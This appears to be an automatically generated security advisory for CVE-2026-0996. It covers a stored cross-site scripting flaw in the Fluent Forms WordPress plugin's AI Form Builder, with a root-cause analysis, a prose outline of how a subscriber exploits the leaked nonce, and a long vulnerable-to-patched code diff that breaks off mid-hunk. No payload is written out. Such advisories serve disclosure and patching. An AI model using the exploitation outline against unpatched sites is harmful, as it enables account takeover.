Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-0996: Fluent Forms <= 6.1.14 – Authenticated (Subscriber+) Stored Cross-Site Scripting via AI Form Builder Module (fluentform)

CVE ID CVE-2026-0996
Plugin fluentform
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.1.14
Patched Version 6.1.15
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-0996:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Fluent Forms WordPress plugin’s AI Form Builder module. The issue affects all plugin versions up to and including 6.1.14. It allows attackers with Subscriber-level access or higher to inject arbitrary JavaScript into forms generated via AI, which then executes when any user views the compromised form. The CVSS score of 6.4 reflects the combination of low-privilege access requirements and the persistent nature of the attack.

The root cause involves three distinct security failures. First, the AiFormBuilder::buildForm() method in fluentform/app/Modules/Ai/AiFormBuilder.php lacked proper authorization checks. The vulnerable version only called Acl::verifyNonce() on line 30, which validated a nonce but did not verify the user had appropriate form management permissions. Second, the plugin’s JavaScript global variable ‘fluent_forms_admin_nonce’ was exposed to all users, including low-privileged subscribers, in the fluent_forms_global_var object defined in fluentform/app/Hooks/actions.php lines 692-698. Third, the AI service typically returns JavaScript code without tags, which bypassed the plugin’s sanitization function fluentform_kses_js() that only sanitized content within script tags.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker must obtain the leaked nonce from the global JavaScript variable, then send a POST request to the AI form generation endpoint. The attack vector targets the REST API endpoint that handles AI form building. The payload consists of AI prompts designed to make the AI service return JavaScript code without script tags. This JavaScript is then stored in the form’s custom JavaScript field and executes whenever the form is viewed by any user.

The patch addresses all three security issues. In AiFormBuilder.php line 30, the authorization check was changed from Acl::verifyNonce() to Acl::verify(‘fluentform_forms_manager’), which properly validates user permissions. The patch also removes the custom_js parameter from the saveForm() method on line 82, preventing JavaScript from being saved. Additionally, the nonce exposure was fixed in actions.php lines 692-698 by wrapping the nonce assignment in a conditional check: if (Acl::hasAnyFormPermission()) { $globalVars[‘fluent_forms_admin_nonce’] = wp_create_nonce(‘fluent_forms_admin_nonce’); }. This same fix appears in Menu.php lines 280-347.

Successful exploitation leads to stored XSS attacks where arbitrary JavaScript executes in the context of any user viewing the compromised form. This enables session hijacking, account takeover, administrative actions performed as the victim, data theft from form submissions, and defacement of the WordPress site. The stored nature means the attack persists across sessions and affects all users who interact with the malicious form.

Differential between vulnerable and patched code

Code Diff
--- a/fluentform/app/Hooks/actions.php
+++ b/fluentform/app/Hooks/actions.php
@@ -1,6 +1,7 @@
 <?php

 use FluentFormAppModulesComponentComponent;
+use FluentFormAppModulesAclAcl;
 use FluentFormAppHelpersHelper;
 use FluentFormFrameworkHelpersArrayHelper;

@@ -67,6 +68,11 @@
     }
 );

+// Register DefaultStyleApplicator on init so it works for REST API requests too
+add_action('init', function () {
+    new FluentFormAppModulesFormDefaultStyleApplicator();
+}, 9);
+
 // From Backend.php
 add_action('admin_init', function () use ($app) {
     (new FluentFormAppModulesRegistererMenu($app))->reisterScripts();
@@ -93,10 +99,17 @@
     (new FluentFormAppModulesEditorButtonModule())->addButton();
 });

+/*
+ * Addons Page
+ */
 $app->addAction('fluentform/addons_page_render_fluentform_add_ons', function () {
     (new FluentFormAppModulesAddOnModule())->showFluentAddOns();
 });

+$app->addAction('fluentform/addons_page_render_suggested_plugins', function () {
+    (new FluentFormAppModulesAddOnModule())->showSuggestedPlugins();
+});
+
 $app->addAction('fluentform/global_menu', function () use ($app) {
     $menu = new FluentFormAppModulesRegistererMenu($app);
     $menu->renderGlobalMenu();
@@ -303,7 +316,25 @@
             return $element;
         });
     }
-
+
+    $prefixSuffixInputs = [
+        'textarea',
+        'input_url',
+        'input_password',
+    ];
+
+    foreach ($prefixSuffixInputs as $inputType) {
+        add_filter('fluentform/editor_init_element_' . $inputType, function ($item) {
+            if (!isset($item['settings']['prefix_label'])) {
+                $item['settings']['prefix_label'] = '';
+            }
+            if (!isset($item['settings']['suffix_label'])) {
+                $item['settings']['suffix_label'] = '';
+            }
+            return $item;
+        });
+    }
+
     add_filter('fluentform/editor_init_element_gdpr_agreement', function ($element) {
         if (!isset($element['settings']['required_field_message'])) {
             $element['settings']['required_field_message'] = '';
@@ -376,7 +407,17 @@
         if (!isset($item['settings']['suffix_label'])) {
             $item['settings']['suffix_label'] = '';
         }
-
+        if (!isset($item['settings']['mobile_keyboard_type_number'])) {
+            $item['settings']['mobile_keyboard_type_number'] = '';
+        }
+
+        return $item;
+    });
+
+    add_filter('fluentform/editor_init_element_input_mask', function ($item) {
+        if (!isset($item['settings']['mobile_keyboard_type'])) {
+            $item['settings']['mobile_keyboard_type'] = '';
+        }
         return $item;
     });

@@ -651,12 +692,15 @@
                 FLUENTFORM_VERSION,
                 true
             );
-            wp_localize_script('fluent_forms_global', 'fluent_forms_global_var', [
-                'fluent_forms_admin_nonce' => wp_create_nonce('fluent_forms_admin_nonce'),
-                'ajaxurl'                  => Helper::getAjaxUrl(),
-                'global_search_active'     => apply_filters('fluentform/global_search_active', 'yes'),
-                'rest'                     => Helper::getRestInfo()
-            ]);
+            $globalVars = [
+                'ajaxurl'              => Helper::getAjaxUrl(),
+                'global_search_active' => apply_filters('fluentform/global_search_active', 'yes'),
+                'rest'                 => Helper::getRestInfo()
+            ];
+            if (Acl::hasAnyFormPermission()) {
+                $globalVars['fluent_forms_admin_nonce'] = wp_create_nonce('fluent_forms_admin_nonce');
+            }
+            wp_localize_script('fluent_forms_global', 'fluent_forms_global_var', $globalVars);
             wp_enqueue_style('fluent-form-styles');
             $form = wpFluent()->table('fluentform_forms')->find(intval($app->request->get('preview_id')));
             $postId = get_the_ID() ?: 0;
--- a/fluentform/app/Hooks/filters.php
+++ b/fluentform/app/Hooks/filters.php
@@ -39,6 +39,18 @@
         ) {
             $values['_fluentform_global_form_settings']['default_messages'] = FluentFormAppHelpersHelper::getAllGlobalDefaultMessages();
         }
+
+        // Ensure _fluentform_default_style_template has default structure if not set
+        if (in_array('_fluentform_default_style_template', $key)) {
+            if (empty($values['_fluentform_default_style_template']) || $values['_fluentform_default_style_template'] === false) {
+                $values['_fluentform_default_style_template'] = [
+                    'enabled'        => 'no',
+                    'custom_css'     => '',
+                    'styler_enabled' => 'no',
+                    'styler_theme'   => '',
+                ];
+            }
+        }
     }

     return $values;
--- a/fluentform/app/Http/Controllers/FormSettingsController.php
+++ b/fluentform/app/Http/Controllers/FormSettingsController.php
@@ -61,7 +61,13 @@

     public function customizer(Customizer $customizer, $id)
     {
-        return $this->sendSuccess($customizer->get($id));
+        $metaKeys = [
+            '_custom_form_css',
+            '_ff_selected_style',
+            '_ff_form_styles'
+        ];
+
+        return $this->sendSuccess($customizer->get($id, $metaKeys));
     }

     public function storeCustomizer(Customizer $customizer, $id)
--- a/fluentform/app/Http/Controllers/SuggestedPluginsController.php
+++ b/fluentform/app/Http/Controllers/SuggestedPluginsController.php
@@ -0,0 +1,162 @@
+<?php
+
+namespace FluentFormAppHttpControllers;
+
+
+
+class SuggestedPluginsController extends Controller
+{
+    /**
+     * Check the installation and activation status of multiple plugins.
+     */
+    public function checkPluginStatuses()
+    {
+        if (!current_user_can('install_plugins')) {
+            return $this->sendError([
+                'message' => __('You do not have permission to manage plugins.', 'fluentform')
+            ], 403);
+        }
+
+        $plugins = wpFluentForm('request')->get('plugins', []);
+
+        if (empty($plugins) || !is_array($plugins)) {
+            return $this->sendError([
+                'message' => __('No plugins specified.', 'fluentform')
+            ], 400);
+        }
+
+        $statuses = [];
+
+        foreach ($plugins as $pluginSlug) {
+            $statuses[$pluginSlug] = $this->getPluginStatus($pluginSlug);
+        }
+
+        return $this->sendSuccess([
+            'statuses' => $statuses
+        ]);
+    }
+
+    /**
+     * Install a plugin from WordPress.org.
+     */
+    public function installPlugin()
+    {
+        if (!current_user_can('install_plugins')) {
+            return $this->sendError([
+                'message' => __('You do not have permission to install plugins.', 'fluentform')
+            ], 403);
+        }
+
+        $pluginSlug = wpFluentForm('request')->get('plugin_slug');
+
+        if (empty($pluginSlug)) {
+            return $this->sendError([
+                'message' => __('Plugin slug is required.', 'fluentform')
+            ], 400);
+        }
+
+        // Load WordPress plugin installer
+        if (!class_exists('Plugin_Upgrader')) {
+            require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+        }
+        if (!function_exists('request_filesystem_credentials')) {
+            require_once ABSPATH . 'wp-admin/includes/file.php';
+        }
+        if (!function_exists('wp_tempnam')) {
+            require_once ABSPATH . 'wp-admin/includes/misc.php';
+        }
+        require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
+
+        $api = plugins_api('plugin_information', [
+            'slug'   => sanitize_key($pluginSlug),
+            'fields' => [
+                'sections' => false,
+            ],
+        ]);
+
+        if (is_wp_error($api)) {
+            return $this->sendError([
+                'message' => $api->get_error_message()
+            ], 500);
+        }
+
+        // Install the plugin
+        $upgrader = new Plugin_Upgrader(new WP_Ajax_Upgrader_Skin());
+        $result = $upgrader->install($api->download_link);
+
+        if (is_wp_error($result)) {
+            return $this->sendError([
+                'message' => $result->get_error_message()
+            ], 500);
+        }
+
+        if ($result === false) {
+            return $this->sendError([
+                'message' => __('Plugin installation failed.', 'fluentform')
+            ], 500);
+        }
+
+        return $this->sendSuccess([
+            'message' => __('Plugin installed successfully.', 'fluentform')
+        ]);
+    }
+
+    /**
+     * Activate an installed plugin.
+     */
+    public function activatePlugin()
+    {
+        if (!current_user_can('activate_plugins')) {
+            return $this->sendError([
+                'message' => __('You do not have permission to activate plugins.', 'fluentform')
+            ], 403);
+        }
+
+        $pluginSlug = wpFluentForm('request')->get('plugin_slug');
+
+        if (empty($pluginSlug)) {
+            return $this->sendError([
+                'message' => __('Plugin slug is required.', 'fluentform')
+            ], 400);
+        }
+
+        $result = activate_plugin($pluginSlug);
+
+        if (is_wp_error($result)) {
+            return $this->sendError([
+                'message' => $result->get_error_message()
+            ], 500);
+        }
+
+        return $this->sendSuccess([
+            'message' => __('Plugin activated successfully.', 'fluentform')
+        ]);
+    }
+
+    /**
+     * Get the status of a plugin (not_installed, inactive, or active).
+     *
+     * @param string $pluginSlug The plugin slug (e.g., 'fluent-crm/fluent-crm.php')
+     * @return string
+     */
+    private function getPluginStatus($pluginSlug)
+    {
+        if (!function_exists('get_plugins')) {
+            require_once ABSPATH . 'wp-admin/includes/plugin.php';
+        }
+
+        $allPlugins = get_plugins();
+
+        // Check if plugin is installed
+        if (!isset($allPlugins[$pluginSlug])) {
+            return 'not_installed';
+        }
+
+        // Check if plugin is active
+        if (is_plugin_active($pluginSlug)) {
+            return 'active';
+        }
+
+        return 'inactive';
+    }
+}
--- a/fluentform/app/Http/Routes/api.php
+++ b/fluentform/app/Http/Routes/api.php
@@ -177,3 +177,11 @@
 */
 $router->get('global-search', 'GlobalSearchController@index')->withPolicy('FormPolicy');

+/*
+* Suggested Plugins
+*/
+$router->prefix('suggested-plugins')->withPolicy('FormPolicy')->group(function ($router) {
+    $router->post('check-plugin-statuses', 'SuggestedPluginsController@checkPluginStatuses');
+    $router->post('install-plugin', 'SuggestedPluginsController@installPlugin');
+    $router->post('activate-plugin', 'SuggestedPluginsController@activatePlugin');
+});
--- a/fluentform/app/Modules/AddOnModule.php
+++ b/fluentform/app/Modules/AddOnModule.php
@@ -38,6 +38,9 @@
             'Use fluentform/addons_extra_menu instead of fluentform_addons_extra_menu'
         );

+        // Add suggested plugins tab
+        $extraMenus['suggested_plugins'] = __('Suggested Plugins', 'fluentform');
+
         $extraMenus = apply_filters('fluentform/addons_extra_menu', $extraMenus);

         $current_menu_item = 'fluentform_add_ons';
@@ -398,4 +401,142 @@
             ],
         ];
     }
+
+    /**
+     * Show the suggested plugins list.
+     */
+    public function showSuggestedPlugins()
+    {
+        wp_enqueue_script('fluentform-modules');
+
+        $suggestedPlugins = $this->getSuggestedPlugins();
+
+        wp_localize_script('fluentform-modules', 'fluent_suggested_plugins', [
+            'plugins' => $suggestedPlugins,
+            'nonce' => wp_create_nonce('fluent_forms_suggested_plugins'),
+            'assets_url' => fluentformMix('img/suggested-plugins/'),
+        ]);
+
+        wpFluentForm('view')->render('admin.addons.suggested_plugins', []);
+    }
+
+    /**
+     * Get the list of suggested WordPress plugins.
+     *
+     * @return array
+     */
+    public function getSuggestedPlugins()
+    {
+        $plugins = [
+            'fluent-cart' => [
+                'title'       => __('FluentCart A New Era of eCommerce', 'fluentform'),
+                'description' => __('It is a performance-first, self-hosted eCommerce platform for WordPres', 'fluentform'),
+                'logo'        => 'fcart.svg',
+                'slug'        => 'fluent-cart/fluent-cart.php',
+                'basename'    => 'fluent-cart',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/fluent-cart/',
+            ],
+            'multilingual-forms-fluent-forms-wpml' => [
+                'title'       => __('Multilingual Forms for Fluent Forms (WPML)', 'fluentform'),
+                'description' => __('Make Fluent Forms multilingual with WPML integration', 'fluentform'),
+                'logo'        => 'wpml-ff.png',
+                'slug'        => 'multilingual-forms-fluent-forms-wpml/multilingual-forms-fluent-forms-wpml.php',
+                'basename'    => 'multilingual-forms-fluent-forms-wpml',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/multilingual-forms-fluent-forms-wpml/',
+            ],
+            'cloud-storage-manager'                => [
+                'title'       => __('Cloud Storage Manager for Fluent Forms', 'fluentform'),
+                'description' => __('Cloud Storage Manager bridges the gap between your fluent forms and popular cloud storage platforms.',
+                    'fluentform'),
+                'logo'        => 'cloud-storage-manager.png',
+                'slug'        => 'cloud-storage-manager/cloud-storage-manager.php',
+                'basename'    => 'cloud-storage-manager',
+                'badge_type'  => 'verified',
+                'wporg_url'   => 'https://wordpress.org/plugins/cloud-storage-manager/',
+            ],
+            'fluent-pdf'                           => [
+                'title'       => __('Fluent Forms PDF', 'fluentform'),
+                'description' => __('Generate PDF from Fluent Forms Submissions and Send via Email or Download',
+                    'fluentform'),
+                'logo'        => 'fluent-pdf.svg',
+                'slug'        => 'fluentforms-pdf/fluentforms-pdf.php',
+                'basename'    => 'fluentforms-pdf',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/fluentforms-pdf/',
+            ],
+            'fluent-community'                     => [
+                'title'       => __('Fluent Community', 'fluentform'),
+                'description' => __('Build Your Own Community & Membership Site with Fluent Community', 'fluentform'),
+                'logo'        => 'fluent-community.svg',
+                'slug'        => 'fluent-community/fluent-community.php',
+                'basename'    => 'fluent-community',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/fluent-community/',
+            ],
+            'fluent-support'                       => [
+                'title'       => __('Fluent Support', 'fluentform'),
+                'description' => __('WordPress Helpdesk and Customer Support Ticket Plugin', 'fluentform'),
+                'logo'        => 'fluent-support.svg',
+                'slug'        => 'fluent-support/fluent-support.php',
+                'basename'    => 'fluent-support',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/fluent-support/',
+            ],
+            'wp-social-reviews'                    => [
+                'title'       => __('WP Social Ninja', 'fluentform'),
+                'description' => __('Best Social Media Plugin for WordPress to Showcase Social Feeds, Reviews, and Chat Widgets',
+                    'fluentform'),
+                'logo'        => 'wp-social-reviews.gif',
+                'slug'        => 'wp-social-reviews/wp-social-reviews.php',
+                'basename'    => 'wp-social-reviews',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/wp-social-reviews/',
+            ],
+            'fluent-crm'                           => [
+                'title'       => __('FluentCRM', 'fluentform'),
+                'description' => __('Email Marketing Automation and CRM Plugin for WordPress', 'fluentform'),
+                'logo'        => 'fluent-crm.svg',
+                'slug'        => 'fluent-crm/fluent-crm.php',
+                'basename'    => 'fluent-crm',
+                'badge_type'  => 'official',
+                'wporg_url'   => 'https://wordpress.org/plugins/fluent-crm/',
+            ],
+        ];
+
+        // Add status to each plugin
+        foreach ($plugins as $key => &$plugin) {
+            $plugin['status'] = $this->getPluginStatus($plugin['slug']);
+        }
+
+        return $plugins;
+    }
+
+    /**
+     * Get the installation and activation status of a plugin.
+     *
+     * @param string $pluginSlug The plugin slug (e.g., 'fluent-crm/fluent-crm.php')
+     * @return string 'active', 'inactive', or 'not_installed'
+     */
+    private function getPluginStatus($pluginSlug)
+    {
+        // Check if plugin file exists
+        $pluginFile = WP_PLUGIN_DIR . '/' . $pluginSlug;
+
+        if (!file_exists($pluginFile)) {
+            return 'not_installed';
+        }
+
+        // Ensure is_plugin_active function is available
+        if (!function_exists('is_plugin_active')) {
+            require_once ABSPATH . 'wp-admin/includes/plugin.php';
+        }
+        // Check if plugin is active
+        if (is_plugin_active($pluginSlug)) {
+            return 'active';
+        }
+
+        return 'inactive';
+    }
 }
--- a/fluentform/app/Modules/Ai/AiFormBuilder.php
+++ b/fluentform/app/Modules/Ai/AiFormBuilder.php
@@ -27,7 +27,7 @@
     public function buildForm()
     {
         try {
-            Acl::verifyNonce();
+            Acl::verify('fluentform_forms_manager');
             $form = $this->generateForm($this->app->request->all());
             $form = $this->prepareAndSaveForm($form);
             wp_send_json_success([
@@ -56,7 +56,6 @@
         $fields = Arr::get($form, 'fields', []);
         $isConversational = Arr::isTrue($form, 'is_conversational');
         $customCss = Arr::get($form, 'custom_css', '');
-        $customJs = Arr::get($form, 'custom_js', '');
         $hasStep = false;
         $lastFieldIndex = count($fields) - 1;

@@ -83,7 +82,7 @@
             throw new Exception(esc_html__('Empty form. Please try again!', 'fluentform'));
         }
         $title = Arr::get($form, 'title', '');
-        return $this->saveForm($fluentFormFields, $title, $hasStep, $isConversational, $customCss, $customJs);
+        return $this->saveForm($fluentFormFields, $title, $hasStep, $isConversational, $customCss);
     }

     /**
@@ -303,7 +302,7 @@
         return $customForm;
     }

-    protected function saveForm($formattedInputs, $title, $isStepForm = false, $isConversational = false, $customCss = '', $customJs = '')
+    protected function saveForm($formattedInputs, $title, $isStepForm = false, $isConversational = false, $customCss = '')
     {
         $customForm = $this->prepareCustomForm($formattedInputs, $isStepForm);
         $data = Form::prepare($customForm);
@@ -331,9 +330,6 @@
         if ($customCss = fluentformSanitizeCSS($customCss)) {
             Helper::setFormMeta($form->id, '_custom_form_css', $customCss);
         }
-        if ($customJs = fluentform_kses_js($customJs)) {
-            Helper::setFormMeta($form->id, '_custom_form_js', $customJs);
-        }

         do_action('fluentform/inserted_new_form', $form->id, $data);
         return $form;
--- a/fluentform/app/Modules/Form/DefaultStyleApplicator.php
+++ b/fluentform/app/Modules/Form/DefaultStyleApplicator.php
@@ -0,0 +1,81 @@
+<?php
+
+namespace FluentFormAppModulesForm;
+
+use FluentFormAppHelpersHelper;
+use FluentFormFrameworkHelpersArrayHelper as Arr;
+
+class DefaultStyleApplicator
+{
+    public function __construct()
+    {
+        add_action('fluentform/inserted_new_form', [$this, 'applyDefaultStyles'], 10, 2);
+    }
+
+    /**
+     * Apply default style template to newly created forms
+     *
+     * @param int $formId     The ID of the newly created form
+     * @param array $formData The form data
+     *
+     * @return void
+     */
+    public function applyDefaultStyles($formId, $formData)
+    {
+        $defaultTemplate = get_option('_fluentform_default_style_template');
+
+        if (!$defaultTemplate || !is_array($defaultTemplate) || Arr::get($defaultTemplate, 'enabled') !== 'yes') {
+            return;
+        }
+
+        $customCss = Arr::get($defaultTemplate, 'custom_css', '');
+        if ($customCss) {
+            // Replace FF_ID and {form_id} placeholders with actual form ID
+            $customCss = str_replace('{form_id}', $formId, $customCss);
+            $customCss = str_replace('FF_ID', $formId, $customCss);
+            Helper::setFormMeta($formId, '_custom_form_css', $customCss);
+        }
+
+        $stylerEnabled = Arr::get($defaultTemplate, 'styler_enabled', 'no');
+        $stylerTheme = Arr::get($defaultTemplate, 'styler_theme', '');
+        if ($stylerTheme) {
+            Helper::setFormMeta($formId, '_ff_selected_style', $stylerTheme);
+        }
+
+        if ($stylerEnabled === 'yes') {
+            if ($stylerTheme) {
+                Helper::setFormMeta($formId, '_ff_selected_style', $stylerTheme);
+            }
+
+            $stylerStyles = Arr::get($defaultTemplate, 'styler_styles', []);
+            if ($stylerStyles && is_array($stylerStyles) && !empty($stylerStyles)) {
+                Helper::setFormMeta($formId, '_ff_form_styles', $stylerStyles);
+            } elseif ($stylerTheme) {
+                $presets = [];
+                if (class_exists('FluentFormProclassesFormStyler')) {
+                    $formStyler = new FluentFormProclassesFormStyler();
+                    $presets = $formStyler->getPresets();
+                } else {
+                    $presets = [
+                        'ffs_default'       => [
+                            'label' => __('Default', 'fluentform'),
+                            'style' => '[]',
+                        ],
+                        'ffs_inherit_theme' => [
+                            'label' => __('Inherit Theme Style', 'fluentform'),
+                            'style' => '{}',
+                        ],
+                    ];
+                }
+
+                if (isset($presets[$stylerTheme])) {
+                    $styles = json_decode($presets[$stylerTheme]['style'], true);
+                    if ($styles) {
+                        Helper::setFormMeta($formId, '_ff_form_styles', $styles);
+                    }
+                }
+            }
+        }
+    }
+}
+
--- a/fluentform/app/Modules/Registerer/Menu.php
+++ b/fluentform/app/Modules/Registerer/Menu.php
@@ -280,33 +280,47 @@
                            ->get();

         wp_enqueue_script('fluent_forms_global');
-        wp_localize_script('fluent_forms_global', 'fluent_forms_global_var', [
-            'fluent_forms_admin_nonce' => wp_create_nonce('fluent_forms_admin_nonce'),
-            'ajaxurl'                  => Helper::getAjaxUrl(),
-            'admin_i18n'               => TranslationString::getAdminI18n(),
-            'global_search_active'     => apply_filters('fluentform/global_search_active', 'yes'),
-            'payments_str'             => TranslationString::getPaymentsI18n(),
-            'permissions'              => Acl::getCurrentUserPermissions(),
-            'rest'                     => Helper::getRestInfo(),
-            'card_brands'              => [
-                'visa'                 => fluentformMix('img/card-brand/visa.jpg'),
-                'paypal'               => fluentformMix('img/card-brand/paypal.jpg'),
-                'mastercard'           => fluentformMix('img/card-brand/mastercard.jpg'),
-                'amex'                 => fluentformMix('img/card-brand/amex.jpg')
+
+        // Check if default style is enabled
+        $defaultTemplate = get_option('_fluentform_default_style_template');
+        $hasDefaultStyle = false;
+        if ($defaultTemplate && is_array($defaultTemplate)) {
+            $hasDefaultStyle = FluentFormFrameworkHelpersArrayHelper::get($defaultTemplate, 'enabled') === 'yes';
+        }
+
+        $globalVars = [
+            'ajaxurl'              => Helper::getAjaxUrl(),
+            'admin_i18n'           => TranslationString::getAdminI18n(),
+            'global_search_active' => apply_filters('fluentform/global_search_active', 'yes'),
+            'payments_str'         => TranslationString::getPaymentsI18n(),
+            'permissions'          => Acl::getCurrentUserPermissions(),
+            'rest'                 => Helper::getRestInfo(),
+            'card_brands'          => [
+                'visa'       => fluentformMix('img/card-brand/visa.jpg'),
+                'paypal'     => fluentformMix('img/card-brand/paypal.jpg'),
+                'mastercard' => fluentformMix('img/card-brand/mastercard.jpg'),
+                'amex'       => fluentformMix('img/card-brand/amex.jpg')
             ],
-            'payment_icons'            => [
-                'offline'              => fluentformMix('img/payment/offline.png'),
-                'mollie'               => fluentformMix('img/payment/mollie.png'),
-                'paypal'               => fluentformMix('img/payment/paypal.png'),
-                'stripe'               => fluentformMix('img/payment/stripe.png')
+            'payment_icons'        => [
+                'offline' => fluentformMix('img/payment/offline.png'),
+                'mollie'  => fluentformMix('img/payment/mollie.png'),
+                'paypal'  => fluentformMix('img/payment/paypal.png'),
+                'stripe'  => fluentformMix('img/payment/stripe.png')
             ],
-            'forms'                    => $forms,
-            'hasPro'                   => defined('FLUENTFORMPRO'),
-            'has_entries_import'       => defined('FLUENTFORMPRO') && version_compare(FLUENTFORMPRO_VERSION, '5.1.7', '>='),
-            'disable_time_diff'        => Helper::isDefaultWPDateEnabled(),
-            'wp_date_time_format'      => Helper::getDefaultDateTimeFormatForMoment(),
-            'server_time'              => current_time('mysql'),
-        ]);
+            'forms'                => $forms,
+            'hasPro'               => defined('FLUENTFORMPRO'),
+            'has_entries_import'   => defined('FLUENTFORMPRO') && version_compare(FLUENTFORMPRO_VERSION, '5.1.7', '>='),
+            'disable_time_diff'    => Helper::isDefaultWPDateEnabled(),
+            'wp_date_time_format'  => Helper::getDefaultDateTimeFormatForMoment(),
+            'server_time'          => current_time('mysql'),
+            'has_default_style'    => $hasDefaultStyle,
+        ];
+
+        if (Acl::hasAnyFormPermission()) {
+            $globalVars['fluent_forms_admin_nonce'] = wp_create_nonce('fluent_forms_admin_nonce');
+        }
+
+        wp_localize_script('fluent_forms_global', 'fluent_forms_global_var', $globalVars);

         $page = sanitize_text_field($this->app->request->get('page'));
         $route = sanitize_text_field($this->app->request->get('route'));
--- a/fluentform/app/Modules/Renderer/GlobalSettings/Settings.php
+++ b/fluentform/app/Modules/Renderer/GlobalSettings/Settings.php
@@ -54,7 +54,8 @@
             'cleantalk_activated'   => CleanTalkHandler::isPluginEnabled(),
             'has_pro'               => Helper::hasPro(),
             'is_payment_compatible' => Helper::isPaymentCompatible(),
-            'form_settings_str'     => TranslationString::getGlobalSettingsI18n()
+            'form_settings_str'     => TranslationString::getGlobalSettingsI18n(),
+            'ace_path_url'          => fluentformMix('libs/ace'),
         ];
         if (Helper::isPaymentCompatible()) {
             $globalSettingAppData = apply_filters('fluentform/global_settings_component_settings_data', $globalSettingAppData);
--- a/fluentform/app/Modules/Transfer/Transfer.php
+++ b/fluentform/app/Modules/Transfer/Transfer.php
@@ -44,7 +44,8 @@
     {
         try {
             $file = $this->request->file('file');
-            wp_send_json(TransferService::importForms($file), 200);
+            $applyDefaultStyle = $this->request->get('apply_default_style') === '1';
+            wp_send_json(TransferService::importForms($file, $applyDefaultStyle), 200);
         } catch (Exception $exception) {
             wp_send_json([
                 'message' => $exception->getMessage()
--- a/fluentform/app/Services/Form/HistoryService.php
+++ b/fluentform/app/Services/Form/HistoryService.php
@@ -221,29 +221,62 @@

     private function generateChangeTitle()
     {
-        $addedCount = count($this->addedFields);
-        $removedCount = count($this->removedFields);
-        $modifiedCount = count(array_filter($this->changes, function($change) {
+        $addedChanges = array_filter($this->changes, function($change) {
+            return $change['type'] === 'added';
+        });
+        $removedChanges = array_filter($this->changes, function($change) {
+            return $change['type'] === 'removed';
+        });
+        $modifiedChanges = array_filter($this->changes, function($change) {
             return $change['type'] === 'modified';
-        }));
-        $reorderedCount = count(array_filter($this->changes, function($change) {
+        });
+        $reorderedChanges = array_filter($this->changes, function($change) {
             return $change['type'] === 'reordered';
-        }));
-
+        });
+
+        $addedCount = count($addedChanges);
+        $removedCount = count($removedChanges);
+        $reorderedCount = count($reorderedChanges);
+
+        // Get unique field labels that were modified
+        $modifiedFieldLabels = array_unique(array_map(function($change) {
+            return $change['label'];
+        }, $modifiedChanges));
+        $modifiedFieldCount = count($modifiedFieldLabels);
+
         $changeDescriptions = [];
+
         if ($addedCount > 0) {
-            $changeDescriptions[] = "Added " . ($addedCount > 1 ? "$addedCount fields" : "1 field");
+            if ($addedCount === 1) {
+                $fieldLabel = reset($addedChanges)['label'];
+                $changeDescriptions[] = "Added '$fieldLabel' field";
+            } else {
+                $changeDescriptions[] = "Added $addedCount fields";
+            }
         }
+
         if ($removedCount > 0) {
-            $changeDescriptions[] = "Removed " . ($removedCount > 1 ? "$removedCount fields" : "1 field");
-        }
-        if ($modifiedCount > 0) {
-            $changeDescriptions[] = "Modified " . ($modifiedCount > 1 ? "$modifiedCount attributes/settings" : "1 attribute/setting");
+            if ($removedCount === 1) {
+                $fieldLabel = reset($removedChanges)['label'];
+                $changeDescriptions[] = "Removed '$fieldLabel' field";
+            } else {
+                $changeDescriptions[] = "Removed $removedCount fields";
+            }
+        }
+
+        if ($modifiedFieldCount > 0) {
+            if ($modifiedFieldCount === 1) {
+                $fieldLabel = reset($modifiedFieldLabels);
+                $changeDescriptions[] = "Modified '$fieldLabel'";
+            } else {
+                $changeDescriptions[] = "Modified $modifiedFieldCount fields";
+            }
         }
+
         if ($reorderedCount > 0) {
             $changeDescriptions[] = "Reordered fields";
         }
-
+
         if (count($changeDescriptions) > 1) {
             return "Multiple changes";
         } elseif (count($changeDescriptions) == 1) {
@@ -254,11 +287,15 @@

     private function storeFormHistory($formId, $oldData, $changeTitle)
     {
-        $revisions = FormMeta::where('form_id', $formId)
-            ->where('meta_key', 'revision')
-            ->count();
-        if ($revisions === 0) {
-            $changeTitle = __('Initial state','fluentform');
+        // If there are no existing revisions for this form, mark this entry as the initial state
+        $existingHistoryCount = FormMeta::where([
+            'form_id'  => $formId,
+            'meta_key' => 'revision',
+        ])->count();
+
+        if ($existingHistoryCount === 0) {
+            // Use a clear label for the first stored revision of the form
+            $changeTitle = __('Initial state', 'fluentform');
         }
         $historyEntry = [
             'change_title' => $changeTitle,
--- a/fluentform/app/Services/FormBuilder/Components/Text.php
+++ b/fluentform/app/Services/FormBuilder/Components/Text.php
@@ -53,6 +53,25 @@
                 '1.14.15',
                 true
             );
+
+            // Apply mobile keyboard type to mask fields
+            $isDisable = apply_filters('fluentform/disable_input_mode', false);
+
+            if (!$isDisable) {
+                $mobileKeyboardType = ArrayHelper::get($data, 'settings.mobile_keyboard_type');
+
+                $inputMode = null;
+                if (!empty($mobileKeyboardType)) {
+                    $inputMode = $mobileKeyboardType;
+                }
+                // Empty = no inputmode (current behavior for masks)
+
+                $inputMode = apply_filters('fluentform/mask_input_mode', $inputMode, $data, $form);
+
+                if ($inputMode) {
+                    $data['attributes']['inputmode'] = $inputMode;
+                }
+            }
         }

         if ('input_number' == $data['element'] || 'custom_payment_component' == $data['element']) {
@@ -83,6 +102,7 @@
                 );
                 do_action('fluentform/rendering_calculation_form', $form, $data);
             } else {
+                // Apply mobile keyboard type setting
                 $isDisable = apply_filters_deprecated(
                     'fluentform_disable_inputmode',
                     [
@@ -92,12 +112,20 @@
                     'fluentform/disable_input_mode',
                     'Use fluentform/disable_input_mode instead of fluentform_disable_inputmode'
                 );
+
